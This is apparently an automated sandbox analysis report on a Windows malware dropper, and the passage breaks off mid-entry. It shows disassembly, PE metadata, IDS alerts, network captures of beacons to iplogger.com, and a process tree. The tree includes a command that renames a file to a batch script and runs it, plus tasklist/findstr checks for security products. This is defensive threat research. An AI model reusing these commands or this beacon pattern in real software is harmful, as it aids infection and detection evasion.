call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FD5E4CE912Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FD5E4CE8E0Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FD5E4CE8DFBh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FD5E4CE66FAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FD5E4CE8AD1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FD5E4CE6783h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FD5E4CE66FAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x85a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x106bda	0x28b0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x85a8	0x8600	9dff8efb6cb5e3124b64b6bb0f444b58	False	0.8464902052238806	data	7.386337967469148	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfd000	0xf32	0x1000	d5ec3cf97c0668f4bbd50420ccf8fbc1	False	1.002685546875	data	7.948997141079556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4250	0x442d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9940411390591876
RT_ICON	0xf8680	0x182e	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0012924071082392
RT_ICON	0xf9eb0	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.22814207650273224
RT_ICON	0xfafd8	0xbb9	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0036654448517162
RT_ICON	0xfbb98	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.24822695035460993
RT_DIALOG	0xfc000	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfc100	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfc220	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfc280	0x4c	data	English	United States	0.8026315789473685
RT_MANIFEST	0xfc2d0	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T02:07:30.303666+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	104.21.76.57	443	TCP
2024-10-13T02:07:46.381126+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	104.21.76.57	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 02:07:29.648101091 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:29.648133039 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:29.648202896 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:29.660604954 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:29.660621881 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.140626907 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.140702963 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.197880030 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.197925091 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.198849916 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.198920965 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.203118086 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.243417978 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.303582907 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.303689003 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.303752899 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.303765059 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.303893089 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.303893089 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.303972006 CEST	443	49731	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:30.304053068 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:30.304137945 CEST	49731	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:45.757145882 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:45.757194042 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:45.757445097 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:45.768753052 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:45.768774986 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.248487949 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.248603106 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.254734993 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.254743099 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.255134106 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.255620956 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.258742094 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.299401045 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381160975 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381279945 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381287098 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.381303072 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381414890 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381445885 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.381445885 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.381455898 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381613970 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.381824017 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.382086992 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.402276039 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.402311087 CEST	443	49737	104.21.76.57	192.168.2.4
Oct 13, 2024 02:07:46.402343988 CEST	49737	443	192.168.2.4	104.21.76.57
Oct 13, 2024 02:07:46.402900934 CEST	49737	443	192.168.2.4	104.21.76.57

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 02:07:29.633657932 CEST	58371	53	192.168.2.4	1.1.1.1
Oct 13, 2024 02:07:29.642452002 CEST	53	58371	1.1.1.1	192.168.2.4
Oct 13, 2024 02:07:30.310071945 CEST	59673	53	192.168.2.4	1.1.1.1
Oct 13, 2024 02:07:30.328972101 CEST	53	59673	1.1.1.1	192.168.2.4
Oct 13, 2024 02:07:46.409046888 CEST	62954	53	192.168.2.4	1.1.1.1
Oct 13, 2024 02:07:46.423938990 CEST	53	62954	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2024 02:07:29.633657932 CEST	192.168.2.4	1.1.1.1	0x2b2d	Standard query (0)	iplogger.com	A (IP address)	IN (0x0001)	false
Oct 13, 2024 02:07:30.310071945 CEST	192.168.2.4	1.1.1.1	0xc2b9	Standard query (0)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	A (IP address)	IN (0x0001)	false
Oct 13, 2024 02:07:46.409046888 CEST	192.168.2.4	1.1.1.1	0xecb5	Standard query (0)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 13, 2024 02:07:29.642452002 CEST	1.1.1.1	192.168.2.4	0x2b2d	No error (0)	iplogger.com		104.21.76.57	A (IP address)	IN (0x0001)	false
Oct 13, 2024 02:07:29.642452002 CEST	1.1.1.1	192.168.2.4	0x2b2d	No error (0)	iplogger.com		172.67.188.178	A (IP address)	IN (0x0001)	false
Oct 13, 2024 02:07:30.328972101 CEST	1.1.1.1	192.168.2.4	0xc2b9	Name error (3)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	none	none	A (IP address)	IN (0x0001)	false
Oct 13, 2024 02:07:46.423938990 CEST	1.1.1.1	192.168.2.4	0xecb5	Name error (3)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iplogger.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.76.57	443	180	C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-13 00:07:30 UTC	65	OUT	GET /15RZZ4 HTTP/1.1 User-Agent: Cutting Host: iplogger.com
2024-10-13 00:07:30 UTC	690	IN	HTTP/1.1 403 Forbidden Date: Sun, 13 Oct 2024 00:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sun, 13 Oct 2024 00:07:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KBJvXw6fUbGRbS6RhK%2BGglPGzigQ8JyjV5ntZrCNYPilv4t%2Bg9XoXSqGoRUPjt%2FvFa12kdE6KCZ2qc23Cv6fj1N6EHxcxAdUxPNTrxcgctB2VZpV9yNWlFJp8g7wo2s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d1b16fe1a345e6e-EWR
2024-10-13 00:07:30 UTC	679	IN	Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a1<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-13 00:07:30 UTC	1369	IN	Data Raw: 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 Data Ascii: tyles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.21.76.57	443	1908	C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Timestamp	Bytes transferred	Direction	Data
2024-10-13 00:07:46 UTC	65	OUT	GET /15RZZ4 HTTP/1.1 User-Agent: Cutting Host: iplogger.com
2024-10-13 00:07:46 UTC	690	IN	HTTP/1.1 403 Forbidden Date: Sun, 13 Oct 2024 00:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sun, 13 Oct 2024 00:08:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aKUrKGuZsfbYGpfMv7w87P%2FU%2FWzTCe9VK5vZUxav4Fq8km2kSEIxcqEg6xpwukUByhH2upXUjS3mSd6vZP%2F3TdcVGBnYw0NEY9Hv2CUhgQDSfhXPCwQ39bhwGAJEb5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d1b176299e4c323-EWR
2024-10-13 00:07:46 UTC	679	IN	Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a1<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-13 00:07:46 UTC	1369	IN	Data Raw: 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 Data Ascii: tyles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navi
2024-10-13 00:07:46 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c Data Ascii: div class="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itsel
2024-10-13 00:07:46 UTC	1104	IN	Data Raw: 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 Data Ascii: hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.33</span> <span class="cf-footer-separator s
2024-10-13 00:07:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:07:22
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cW5i0RdQ4L.exe"
Imagebase:	0x400000
File size:	1'086'602 bytes
MD5 hash:	C065BA22909FC8DBDED4EA0EEBB24AD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:07:23
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:07:23
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:07:25
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x990000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:07:25
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x150000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:07:26
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
